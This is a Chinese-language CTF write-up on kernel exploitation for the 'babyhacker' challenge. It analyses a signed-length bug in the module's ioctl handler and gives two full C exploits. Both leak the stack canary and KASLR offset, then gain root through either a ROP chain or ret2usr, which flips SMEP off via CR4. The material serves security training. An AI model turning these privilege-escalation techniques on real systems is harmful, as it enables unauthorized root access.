前言 是时候学习一下内核pwn了,内核pwn涉及内核以及文件系统的编译,这些类容留到以后再讲,这里先通过几道例题直观感受一下内核pwn。
babyhacker 分析 题目附件
1 2 3 4 5 6 ➜ babyhacker tree -L 1 . ├── babyhacker.ko ├── bzImage ├── initramfs.cpio ├── startvm.sh
查看启动脚本starvm.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/bin/bash qemu-system-x86_64 \ -m 512M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \ -monitor /dev/null \ -s \ -initrd initramfs.cpio \ -smp cores=2,threads=4 \ -cpu qemu64,smep,smap 2>/dev/null
开启了kaslr、smep、smap,本地调试可以去掉timeout和添加-s
1 2 3 ➜ babyhacker qemu-system-x86_64 --help |grep gdb -gdb dev wait for gdb connection on 'dev' -s shorthand for -gdb tcp::1234
提取vmlinux,利用extract-vmlinux
1 ./extract-vmlinx babyhacker/bzImage > babyhacker/vmlinux
提取文件系统
1 2 3 4 ➜ babyhacker mkdir core ➜ babyhacker cd core ➜ core mv ../initramfs.cpio ./ ➜ core cpio -idm < initramfs.cpio
查看init发现是空的,于是查看/etc/init.d/rcS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ➜ core bat etc/init.d/rcS ───────┬───────────────────────────────────────────────────────────────────────────── │ File: etc/init.d/rcS ───────┼───────────────────────────────────────────────────────────────────────────── 1 │ #!/bin/sh 2 │ 3 │ mount -t proc none /proc 4 │ mount -t devtmpfs none /dev 5 │ mkdir /dev/pts 6 │ mount /dev/pts 7 │ 8 │ insmod /home/pwn/babyhacker.ko 9 │ chmod 644 /dev/babyhacker 10 │ echo 0 > /proc/sys/kernel/dmesg_restrict 11 │ echo 0 > /proc/sys/kernel/kptr_restrict 12 │ 13 │ cd /home/pwn 14 │ chown -R root /flag 15 │ chmod 400 /flag 16 │ 17 │ 18 │ chown -R 1000:1000 . 19 │ setsid cttyhack setuidgid 1000 sh 20 │ 21 │ umount /proc 22 │ poweroff -f ───────┴─────────────────────────────────────────────────────────────────────────────
可以看到添加了内核模块babyhacker.ko
,其中dmesg_restrict = 0
表示可以直接查看/proc/kallsyms
,kptr_restrict=0
时,lsmod
会直接打印内核地址
1 2 3 4 5 6 7 8 9 10 ~ $ lsmod babyhacker 2104 0 - Live 0xffffffffc0093000 (OE) ~ $ cat /proc/kallsyms |grep commit_creds ffffffff8e2a1430 T commit_creds ffffffff8ef73ac0 R __ksymtab_commit_creds ffffffff8ef939e4 r __kstrtab_commit_creds ~ $ cat /proc/kallsyms |grep prepare_kernel_cred ffffffff8e2a1820 T prepare_kernel_cred ffffffff8ef7c5b0 R __ksymtab_prepare_kernel_cred ffffffff8ef939a8 r __kstrtab_prepare_kernel_cred
checksec vmlinux,raw_vmlinux_base = 0xffffffff81000000
1 2 3 4 5 6 7 8 ➜ babyhacker checksec vmlinux [*] '/home/kangel/pwn/kernel/babyhacker/vmlinux' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments
checksec babyhacker.ko,开启了canary
1 2 3 4 5 6 7 ➜ babyhacker checksec babyhacker.ko [*] '/home/kangel/pwn/kernel/babyhacker/babyhacker.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
ida查看babyhacker.ko
查看fop结构体
1 2 3 4 5 .data:0000000000000280 fops file_operations <offset __this_module, 0, 0, 0, 0, 0, 0, 0, \ .data:0000000000000280 ; DATA XREF: .data:misc↑o .data:0000000000000280 offset babyhacker_ioctl, 0, 0, 0, 0, 0, 0, 0, 0, 0, \ .data:0000000000000280 0, 0, 0, 0, 0, 0, 0, 0, 0> .data:0000000000000280 _data ends
发现只定义了babyhacker_ioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __int64 __fastcall babyhacker_ioctl (file *file, unsigned int cmd, unsigned __int64 arg) { __int64 v3; file *rdx1; signed __int16 v5; int v4[80 ]; unsigned __int64 v8; __int64 v9; _fentry__(file, cmd, arg); v9 = v3; v5 = (signed __int16)rdx1; v8 = __readgsqword(0x28 u); switch ( cmd ) { case 0x30001 u: babyhacker_ioctl_0(rdx1, 0x30001 u, (unsigned __int64)rdx1); break ; case 0x30002 u: copy_to_user(rdx1, v4, buffersize); break ; case 0x30000 u: if ( (signed int )rdx1 >= 11 ) v5 = 10 ; buffersize = v5; break ; } return 0L L; }
64位传参顺序:rdi、rsi、rdx、rcx、r8、r9,然后是栈。这里的rdx1即ioctl的第三个参数
可以看到,当rdx1为负数时,buffersize = v5
为rdx1的低两字节可以达到0xffff
,于是造成了对栈的越界读写,我们可以泄露canary然后rop
寻找gadget 首先把vmlinux的gadgets输出到文件
1 ➜ babyhacker ROPgadget --binary ./vmlinux > gadgets
查找想要的gadget
1 2 ➜ babyhacker cat gadgets |grep ": pop rdx ; ret$" 0xffffffff81083f22 : pop rdx ; ret
动态调试 poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void set_buffersize (int fd, int idx) { printf ("[*]set buffersize to %d\n" ,idx); ioctl(fd, 0x30000 , idx); } void baby_read (int fd, char *buf) { printf ("[*]read to buf." ); ioctl(fd, 0x30002 , buf); } void baby_write (int fd, char *buf) { printf ("[*]copy from user." ); ioctl(fd,0x30001 , buf); } int main () { save_status(); int fd = open("/dev/babyhacker" ,O_RDONLY); if (fd < 0 ) { puts ("[*]open /dev/babyhacker error!" ); exit (0 ); } getchar(); set_buffersize(fd, 0x80000200 ); char buf[0x200 ] = {0 }; baby_read(fd, buf); size_t canary = ((size_t *)buf)[40 ]; printf ("[+]canary: %p\n" , canary); getchar(); return 0 ; }
然后编译打包
1 2 3 4 5 6 7 8 9 ➜ babyhacker gcc poc.c -static -masm=intel -g -o poc poc.c: In function ‘main’: poc.c:56:9: warning: format ‘%p’ expects argument of type ‘void *’] printf("[+]canary: %p\n", canary); ^ ➜ babyhacker mv poc core/home/pwn ➜ babyhacker cd core ➜ core find . | cpio -o --format=newc > ../initramfs.cpio 15405 块
进行调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ➜ babyhacker gdb ./vmlinux -q pwndbg: loaded 181 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with prin) Reading symbols from ./vmlinux...(no debugging symbols found)...do. pwndbg> add-symbol-file babyhacker.ko 0xffffffffc02ff000 add symbol table from file "babyhacker.ko" at .text_addr = 0xffffffffc0093000 Reading symbols from babyhacker.ko...done. pwndbg> b *0xffffffffc02ff000+0x50 Breakpoint 1 at 0xffffffffc0093050: file /home/zoe/Desktop/kernel_. pwndbg> target remote :1234 Remote debugging using :1234 0xffffffff8e263656 in ?? () ... pwndbg> c Continuing.
结果如下:
exp1(ROP) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void spawn_shell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[*]spawn shell error!" ); } exit (0 ); } size_t commit_creds = 0xffffffff810a1430 ;size_t prepare_kernel_cred = 0xffffffff810a1820 ;size_t raw_vmlinux_base = 0xffffffff81000000 ;size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void set_buffersize (int fd, int idx) { printf ("[*]set buffersize to %d\n" ,idx); ioctl(fd, 0x30000 , idx); } void baby_read (int fd, char *buf) { printf ("[*]read to buf.\n" ); ioctl(fd, 0x30002 , buf); printf ("[+]read to buf success!\n" ); } void baby_write (int fd, char *buf) { printf ("[*]copy from user.\n" ); ioctl(fd,0x30001 , buf); printf ("[+]copy from user success!\n" ); } int main () { save_status(); int fd = open("/dev/babyhacker" , O_RDONLY); if (fd < 0 ) { puts ("[*]open /dev/babyhacker error!" ); exit (0 ); } set_buffersize(fd, 0x80000200 ); char buf[0x200 ] = {0 }; baby_read(fd, buf); size_t offset = ((size_t *)buf)[8 ] - 0xc2d84 - raw_vmlinux_base; printf ("[+]offset: %p\n" , offset); size_t canary = ((size_t *)buf)[40 ]; printf ("[+]canary: %p\n" , canary); commit_creds += offset; printf ("[+]commit_creds: %p\n" , commit_creds); prepare_kernel_cred += offset; printf ("[+]prepare_kernel_cred: %p\n" , prepare_kernel_cred); size_t rop[0x1000 ] = {0 }; int i; for (i = 0 ; i < 42 ;i++) { rop[i] = canary; } rop[i++] = 0xffffffff8109054d + offset; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff81083f22 + offset; rop[i++] = 0xffffffff81006ffc + offset; rop[i++] = 0xffffffff810def79 + offset; rop[i++] = commit_creds; rop[i++] = 0xffffffff810636b4 + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81478294 + offset; rop[i++] = (size_t )spawn_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; baby_write(fd, rop); return 0 ; }
结果如下
exp2(ret2usr) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 typedef int __attribute__((regparm(3 ))) (*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3 ))) (*_prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds =0xffffffff810a1430 ; _prepare_kernel_cred prepare_kernel_cred =0xffffffff810a1820 ; void spawn_shell() { if (!getuid()) { system("/bin/sh" ); } else { puts("[*]spawn shell error!" ); } exit(0 ); } /* size_t commit_creds = 0xffffffff810a1430 ; */ /* size_t prepare_kernel_cred = 0xffffffff810a1820 ; */ size_t raw_vmlinux_base = 0xffffffff81000000 ; size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved." ); } void set_buffersize(int fd, int idx) { printf("[*]set buffersize to %d\n" ,idx); ioctl(fd, 0x30000 , idx); } void baby_read(int fd, char *buf) { printf("[*]read to buf.\n" ); ioctl(fd, 0x30002 , buf); printf("[+]read to buf success!\n" ); } void baby_write(int fd, char *buf) { printf("[*]copy from user.\n" ); ioctl(fd,0x30001 , buf); printf("[+]copy from user success!\n" ); } void get_root() { commit_creds(prepare_kernel_cred(0 )); } int main() { save_status(); int fd = open("/dev/babyhacker" , O_RDONLY); if (fd < 0 ) { puts("[*]open /dev/babyhacker error!" ); exit(0 ); } set_buffersize(fd, 0x80000200 ); char buf[0x200 ] = {0 }; baby_read(fd, buf); size_t offset = ((size_t *)buf)[8 ] - 0xc2d84 - raw_vmlinux_base; printf("[+]offset: %p\n" , offset); size_t canary = ((size_t *)buf)[40 ]; printf("[+]canary: %p\n" , canary); commit_creds += offset; printf("[+]commit_creds: %p\n" , commit_creds); prepare_kernel_cred += offset; printf("[+]prepare_kernel_cred: %p\n" , prepare_kernel_cred); size_t rop[0x1000 ] = {0 }; int i; for (i = 0 ; i < 42 ;i++) { rop[i] = canary; } rop[i++] = 0xffffffff8109054d + offset; // pop rdi; ret rop[i++] = 0x6f0 ; rop[i++] = 0xffffffff81004d70 + offset; //mov_rc4_pop_ret rop[i++] = 0 ; rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff810636b4 + offset; // swapgs; popfq; ret rop[i++] = 0 ; rop[i++] = 0xffffffff81478294 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; baby_write(fd, rop); return 0 ; }
结果如下: